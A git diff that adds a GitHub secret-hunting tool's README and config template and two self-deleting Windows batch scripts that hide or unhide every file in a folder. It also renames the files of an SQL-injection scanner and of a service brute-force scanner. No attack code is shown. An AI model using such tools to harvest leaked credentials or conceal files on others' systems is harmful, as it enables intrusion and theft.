+### Keyword and Payloads +You can add many main keywords as you like, but i suggest add 2~5 keywords.
+The tool will combine keyword and payload. So keywords for searching will be "keyword + payload".You can customize your payloads,the more you add, the more sensitive information will be found. +## Run +`python GithubHunter.py`
+You will receive emails when application complete.
+There will be a .db file named hunter.db, this baseline for url and code. Do not remove it
+The emails will be send contain urls and code. diff --git a/Github-Hunter-master/info.ini.example b/Github-Hunter-master/info.ini.example new file mode 100644 index 0000000..f3ccb96 --- /dev/null +++ b/Github-Hunter-master/info.ini.example @@ -0,0 +1,30 @@ +[KEYWORD] +keyword1 = your keyword here +keyword2 = your keyword here +keyword3 = your keyword here +... +etc + +[EMAIL] +host = Email server +user = Email User +password = Email password + +[SENDER] +sender = The email sender + +[RECEIVER] +receiver1 = Email receiver No.1 +receiver2 = Email receiver No.2 + +[Github] +user = Github Username +password = Github Password + +[PAYLOADS] +p1 = Payload 1 +p2 = Payload 2 +p3 = Payload 3 +p4 = Payload 4 +p5 = Payload 5 +p6 = Payload 6 diff --git a/Github-Hunter-master/requirements.txt b/Github-Hunter-master/requirements.txt new file mode 100644 index 0000000..89fc537 --- /dev/null +++ b/Github-Hunter-master/requirements.txt @@ -0,0 +1,3 @@ +lxml==4.2.1 +tqdm==4.23.0 +requests==2.20.1 diff --git a/SQLiScanner/SQLiScanner-master/.gitignore b/SQLiScanner/.gitignore similarity index 100% rename from SQLiScanner/SQLiScanner-master/.gitignore rename to SQLiScanner/.gitignore diff --git a/SQLiScanner/SQLiScanner-master/LICENSE b/SQLiScanner/LICENSE similarity index 100% rename from SQLiScanner/SQLiScanner-master/LICENSE rename to SQLiScanner/LICENSE diff --git a/SQLiScanner/SQLiScanner-master/README.md b/SQLiScanner/README.md similarity index 100% rename from SQLiScanner/SQLiScanner-master/README.md rename to SQLiScanner/README.md diff --git a/SQLiScanner/SQLiScanner-master/README_zh.md b/SQLiScanner/README_zh.md similarity index 100% rename from SQLiScanner/SQLiScanner-master/README_zh.md rename to SQLiScanner/README_zh.md diff --git a/SQLiScanner/SQLiScanner-master/scanner/__init__.py b/SQLiScanner/SQLiScanner/__init__.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/__init__.py rename to SQLiScanner/SQLiScanner/__init__.py diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/settings.py b/SQLiScanner/SQLiScanner/settings.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/settings.py rename to SQLiScanner/SQLiScanner/settings.py diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/urls.py b/SQLiScanner/SQLiScanner/urls.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/urls.py rename to SQLiScanner/SQLiScanner/urls.py diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/wsgi.py b/SQLiScanner/SQLiScanner/wsgi.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/wsgi.py rename to SQLiScanner/SQLiScanner/wsgi.py diff --git a/SQLiScanner/SQLiScanner-master/_config.yml b/SQLiScanner/_config.yml similarity index 100% rename from SQLiScanner/SQLiScanner-master/_config.yml rename to SQLiScanner/_config.yml diff --git a/SQLiScanner/SQLiScanner-master/manage.py b/SQLiScanner/manage.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/manage.py rename to SQLiScanner/manage.py diff --git a/SQLiScanner/SQLiScanner-master/public/build.sh b/SQLiScanner/public/build.sh similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/build.sh rename to SQLiScanner/public/build.sh diff --git a/SQLiScanner/SQLiScanner-master/public/favicon.ico b/SQLiScanner/public/favicon.ico similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/favicon.ico rename to SQLiScanner/public/favicon.ico diff --git a/SQLiScanner/SQLiScanner-master/public/index.html b/SQLiScanner/public/index.html similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/index.html rename to SQLiScanner/public/index.html diff --git a/SQLiScanner/SQLiScanner-master/public/package.json b/SQLiScanner/public/package.json similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/package.json rename to SQLiScanner/public/package.json diff --git a/SQLiScanner/SQLiScanner-master/public/src/AppConfig.js b/SQLiScanner/public/src/AppConfig.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/AppConfig.js rename to SQLiScanner/public/src/AppConfig.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Chart.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/Chart.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Chart.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/Chart.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Index.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/Index.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Index.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/Index.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Result.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/Result.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/Result.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/Result.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/UploadFile.js b/SQLiScanner/public/src/components/Tasks/SqlInjectScan/UploadFile.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/components/Tasks/SqlInjectScan/UploadFile.js rename to SQLiScanner/public/src/components/Tasks/SqlInjectScan/UploadFile.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/index.js b/SQLiScanner/public/src/index.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/index.js rename to SQLiScanner/public/src/index.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.css b/SQLiScanner/public/src/layouts/MainLayout/MainLayout.css similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.css rename to SQLiScanner/public/src/layouts/MainLayout/MainLayout.css diff --git a/SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.js b/SQLiScanner/public/src/layouts/MainLayout/MainLayout.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/layouts/MainLayout/MainLayout.js rename to SQLiScanner/public/src/layouts/MainLayout/MainLayout.js diff --git a/SQLiScanner/SQLiScanner-master/public/src/logo.svg b/SQLiScanner/public/src/logo.svg similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/logo.svg rename to SQLiScanner/public/src/logo.svg diff --git a/SQLiScanner/SQLiScanner-master/public/src/routes/index.js b/SQLiScanner/public/src/routes/index.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/public/src/routes/index.js rename to SQLiScanner/public/src/routes/index.js diff --git a/SQLiScanner/SQLiScanner-master/requirements.txt b/SQLiScanner/requirements.txt similarity index 100% rename from SQLiScanner/SQLiScanner-master/requirements.txt rename to SQLiScanner/requirements.txt diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.py b/SQLiScanner/scanner/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.py rename to SQLiScanner/scanner/__init__.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/admin.py b/SQLiScanner/scanner/admin.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/admin.py rename to SQLiScanner/scanner/admin.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/apps.py b/SQLiScanner/scanner/apps.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/apps.py rename to SQLiScanner/scanner/apps.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/models.py b/SQLiScanner/scanner/models.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/models.py rename to SQLiScanner/scanner/models.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/serializers.py b/SQLiScanner/scanner/serializers.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/serializers.py rename to SQLiScanner/scanner/serializers.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/tasks.py b/SQLiScanner/scanner/tasks.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/tasks.py rename to SQLiScanner/scanner/tasks.py diff --git a/SQLiScanner/SQLiScanner-master/scanner/views.py b/SQLiScanner/scanner/views.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/scanner/views.py rename to SQLiScanner/scanner/views.py diff --git a/SQLiScanner/SQLiScanner-master/static/css/app.css b/SQLiScanner/static/css/app.css similarity index 100% rename from SQLiScanner/SQLiScanner-master/static/css/app.css rename to SQLiScanner/static/css/app.css diff --git a/SQLiScanner/SQLiScanner-master/static/favicon.ico b/SQLiScanner/static/favicon.ico similarity index 100% rename from SQLiScanner/SQLiScanner-master/static/favicon.ico rename to SQLiScanner/static/favicon.ico diff --git a/SQLiScanner/SQLiScanner-master/static/js/app.js b/SQLiScanner/static/js/app.js similarity index 100% rename from SQLiScanner/SQLiScanner-master/static/js/app.js rename to SQLiScanner/static/js/app.js diff --git a/SQLiScanner/SQLiScanner-master/templates/index.html b/SQLiScanner/templates/index.html similarity index 100% rename from SQLiScanner/SQLiScanner-master/templates/index.html rename to SQLiScanner/templates/index.html diff --git a/Windows_scripts/FolderHide.bat b/Windows_scripts/FolderHide.bat new file mode 100644 index 0000000..8e4f7fb --- /dev/null +++ b/Windows_scripts/FolderHide.bat @@ -0,0 +1,17 @@ +:: To hide the folders +:: Author : ym20111 +:: Date: 2018-12-19 +@echo off +echo ================================================================== +echo ============================================================== +echo ========================================================== +echo please waiting for a while, you can go have a tea, return later +echo It is working for your purpose +echo ............................... +echo ............. +echo .... +for /F "delims=" %%i in ('dir /A /S/B') do attrib "%%i" +S +H +echo it done!, please close it +attrib FolderHide.bat -S -H +del %0 +pause \ No newline at end of file diff --git a/Windows_scripts/FolderUnhide.bat b/Windows_scripts/FolderUnhide.bat new file mode 100644 index 0000000..6cd72e3 --- /dev/null +++ b/Windows_scripts/FolderUnhide.bat @@ -0,0 +1,17 @@ +:: To disclosure the folders +:: Author : ym20111 +:: Date: 2018-12-19 +@echo off +echo ================================================================== +echo ============================================================== +echo ========================================================== +echo please waiting for a while, you can go have a tea, return later +echo It is working for your purpose +echo ............................... +echo ............. +echo .... +for /f "delims=" %%i in ('dir /ah /s/b') do attrib "%%i" -s -h +echo it done!, please close it +echo Goodbye +pause +del %0 \ No newline at end of file diff --git a/fenghuangscanner/fenghuangscanner_v3-master/README.md b/fenghuangscanner/README.md similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/README.md rename to fenghuangscanner/README.md diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/pop3.conf b/fenghuangscanner/comm/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/pop3.conf rename to fenghuangscanner/comm/__init__.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.pyc b/fenghuangscanner/comm/__init__.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/__init__.pyc rename to fenghuangscanner/comm/__init__.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/config.py b/fenghuangscanner/comm/config.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/config.py rename to fenghuangscanner/comm/config.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/config.pyc b/fenghuangscanner/comm/config.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/config.pyc rename to fenghuangscanner/comm/config.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.py b/fenghuangscanner/comm/portscan.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.py rename to fenghuangscanner/comm/portscan.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.pyc b/fenghuangscanner/comm/portscan.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/portscan.pyc rename to fenghuangscanner/comm/portscan.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/printers.py b/fenghuangscanner/comm/printers.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/printers.py rename to fenghuangscanner/comm/printers.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/comm/printers.pyc b/fenghuangscanner/comm/printers.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/comm/printers.pyc rename to fenghuangscanner/comm/printers.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.DS_Store b/fenghuangscanner/conf/.DS_Store similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.DS_Store rename to fenghuangscanner/conf/.DS_Store diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/all-wcprops b/fenghuangscanner/conf/.svn/all-wcprops similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/all-wcprops rename to fenghuangscanner/conf/.svn/all-wcprops diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/entries b/fenghuangscanner/conf/.svn/entries similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/entries rename to fenghuangscanner/conf/.svn/entries diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/text-base/config.txt.svn-base b/fenghuangscanner/conf/.svn/text-base/config.txt.svn-base similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/.svn/text-base/config.txt.svn-base rename to fenghuangscanner/conf/.svn/text-base/config.txt.svn-base diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/ftp.conf b/fenghuangscanner/conf/ftp.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/ftp.conf rename to fenghuangscanner/conf/ftp.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/ldapd.conf b/fenghuangscanner/conf/ldapd.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/ldapd.conf rename to fenghuangscanner/conf/ldapd.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/mongodb.conf b/fenghuangscanner/conf/mongodb.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/mongodb.conf rename to fenghuangscanner/conf/mongodb.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/mssql.conf b/fenghuangscanner/conf/mssql.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/mssql.conf rename to fenghuangscanner/conf/mssql.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/mysql.conf b/fenghuangscanner/conf/mysql.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/mysql.conf rename to fenghuangscanner/conf/mysql.conf diff --git a/fenghuangscanner/conf/pop3.conf b/fenghuangscanner/conf/pop3.conf new file mode 100644 index 0000000..e69de29 diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/postgres.conf b/fenghuangscanner/conf/postgres.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/postgres.conf rename to fenghuangscanner/conf/postgres.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/signs.conf b/fenghuangscanner/conf/signs.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/signs.conf rename to fenghuangscanner/conf/signs.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/smb.conf b/fenghuangscanner/conf/smb.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/smb.conf rename to fenghuangscanner/conf/smb.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/snmp.conf b/fenghuangscanner/conf/snmp.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/snmp.conf rename to fenghuangscanner/conf/snmp.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/ssh.conf b/fenghuangscanner/conf/ssh.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/ssh.conf rename to fenghuangscanner/conf/ssh.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/tomcat.conf b/fenghuangscanner/conf/tomcat.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/tomcat.conf rename to fenghuangscanner/conf/tomcat.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/vnc.conf b/fenghuangscanner/conf/vnc.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/vnc.conf rename to fenghuangscanner/conf/vnc.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/conf/web.conf b/fenghuangscanner/conf/web.conf similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/conf/web.conf rename to fenghuangscanner/conf/web.conf diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.py b/fenghuangscanner/factorys/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.py rename to fenghuangscanner/factorys/__init__.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.pyc b/fenghuangscanner/factorys/__init__.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/__init__.pyc rename to fenghuangscanner/factorys/__init__.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.py b/fenghuangscanner/factorys/pluginFactory.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.py rename to fenghuangscanner/factorys/pluginFactory.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.pyc b/fenghuangscanner/factorys/pluginFactory.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/factorys/pluginFactory.pyc rename to fenghuangscanner/factorys/pluginFactory.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/main.py b/fenghuangscanner/main.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/main.py rename to fenghuangscanner/main.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/.DS_Store b/fenghuangscanner/plugins/.DS_Store similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/.DS_Store rename to fenghuangscanner/plugins/.DS_Store diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.py b/fenghuangscanner/plugins/__init__.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.py rename to fenghuangscanner/plugins/__init__.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.pyc b/fenghuangscanner/plugins/__init__.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/__init__.pyc rename to fenghuangscanner/plugins/__init__.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.py b/fenghuangscanner/plugins/ftp.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.py rename to fenghuangscanner/plugins/ftp.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.pyc b/fenghuangscanner/plugins/ftp.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ftp.pyc rename to fenghuangscanner/plugins/ftp.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.py b/fenghuangscanner/plugins/ldapd.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.py rename to fenghuangscanner/plugins/ldapd.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.pyc b/fenghuangscanner/plugins/ldapd.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ldapd.pyc rename to fenghuangscanner/plugins/ldapd.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.py b/fenghuangscanner/plugins/mongodb.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.py rename to fenghuangscanner/plugins/mongodb.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.pyc b/fenghuangscanner/plugins/mongodb.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mongodb.pyc rename to fenghuangscanner/plugins/mongodb.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.py b/fenghuangscanner/plugins/mssql.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.py rename to fenghuangscanner/plugins/mssql.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.pyc b/fenghuangscanner/plugins/mssql.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mssql.pyc rename to fenghuangscanner/plugins/mssql.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.py b/fenghuangscanner/plugins/mysql.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.py rename to fenghuangscanner/plugins/mysql.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.pyc b/fenghuangscanner/plugins/mysql.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/mysql.pyc rename to fenghuangscanner/plugins/mysql.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ndr.pyc b/fenghuangscanner/plugins/ndr.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ndr.pyc rename to fenghuangscanner/plugins/ndr.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.py b/fenghuangscanner/plugins/pop3.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.py rename to fenghuangscanner/plugins/pop3.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.pyc b/fenghuangscanner/plugins/pop3.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/pop3.pyc rename to fenghuangscanner/plugins/pop3.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.py b/fenghuangscanner/plugins/postgres.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.py rename to fenghuangscanner/plugins/postgres.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.pyc b/fenghuangscanner/plugins/postgres.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/postgres.pyc rename to fenghuangscanner/plugins/postgres.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/printers.pyc b/fenghuangscanner/plugins/printers.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/printers.pyc rename to fenghuangscanner/plugins/printers.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.py b/fenghuangscanner/plugins/redisexp.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.py rename to fenghuangscanner/plugins/redisexp.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.pyc b/fenghuangscanner/plugins/redisexp.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.pyc rename to fenghuangscanner/plugins/redisexp.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.py b/fenghuangscanner/plugins/rsync.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.py rename to fenghuangscanner/plugins/rsync.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.pyc b/fenghuangscanner/plugins/rsync.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.pyc rename to fenghuangscanner/plugins/rsync.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.py b/fenghuangscanner/plugins/rsynclib.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.py rename to fenghuangscanner/plugins/rsynclib.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.pyc b/fenghuangscanner/plugins/rsynclib.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.pyc rename to fenghuangscanner/plugins/rsynclib.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsyncs.pyc b/fenghuangscanner/plugins/rsyncs.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsyncs.pyc rename to fenghuangscanner/plugins/rsyncs.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.py b/fenghuangscanner/plugins/smb.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.py rename to fenghuangscanner/plugins/smb.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.pyc b/fenghuangscanner/plugins/smb.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.pyc rename to fenghuangscanner/plugins/smb.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.py b/fenghuangscanner/plugins/snmp.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.py rename to fenghuangscanner/plugins/snmp.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.pyc b/fenghuangscanner/plugins/snmp.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.pyc rename to fenghuangscanner/plugins/snmp.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.py b/fenghuangscanner/plugins/ssh.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.py rename to fenghuangscanner/plugins/ssh.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.pyc b/fenghuangscanner/plugins/ssh.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.pyc rename to fenghuangscanner/plugins/ssh.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.py b/fenghuangscanner/plugins/ssltest.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.py rename to fenghuangscanner/plugins/ssltest.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.pyc b/fenghuangscanner/plugins/ssltest.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.pyc rename to fenghuangscanner/plugins/ssltest.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/tomcat.pyc b/fenghuangscanner/plugins/tomcat.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/tomcat.pyc rename to fenghuangscanner/plugins/tomcat.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.py b/fenghuangscanner/plugins/vnc.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.py rename to fenghuangscanner/plugins/vnc.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.pyc b/fenghuangscanner/plugins/vnc.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.pyc rename to fenghuangscanner/plugins/vnc.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.py b/fenghuangscanner/plugins/vnclib.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.py rename to fenghuangscanner/plugins/vnclib.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.pyc b/fenghuangscanner/plugins/vnclib.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.pyc rename to fenghuangscanner/plugins/vnclib.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/web.py b/fenghuangscanner/plugins/web.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/web.py rename to fenghuangscanner/plugins/web.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/web.pyc b/fenghuangscanner/plugins/web.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/web.pyc rename to fenghuangscanner/plugins/web.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/requirements.txt b/fenghuangscanner/requirements.txt similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/requirements.txt rename to fenghuangscanner/requirements.txt diff --git a/fenghuangscanner/fenghuangscanner_v3-master/result/.DS_Store b/fenghuangscanner/result/.DS_Store similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/result/.DS_Store rename to fenghuangscanner/result/.DS_Store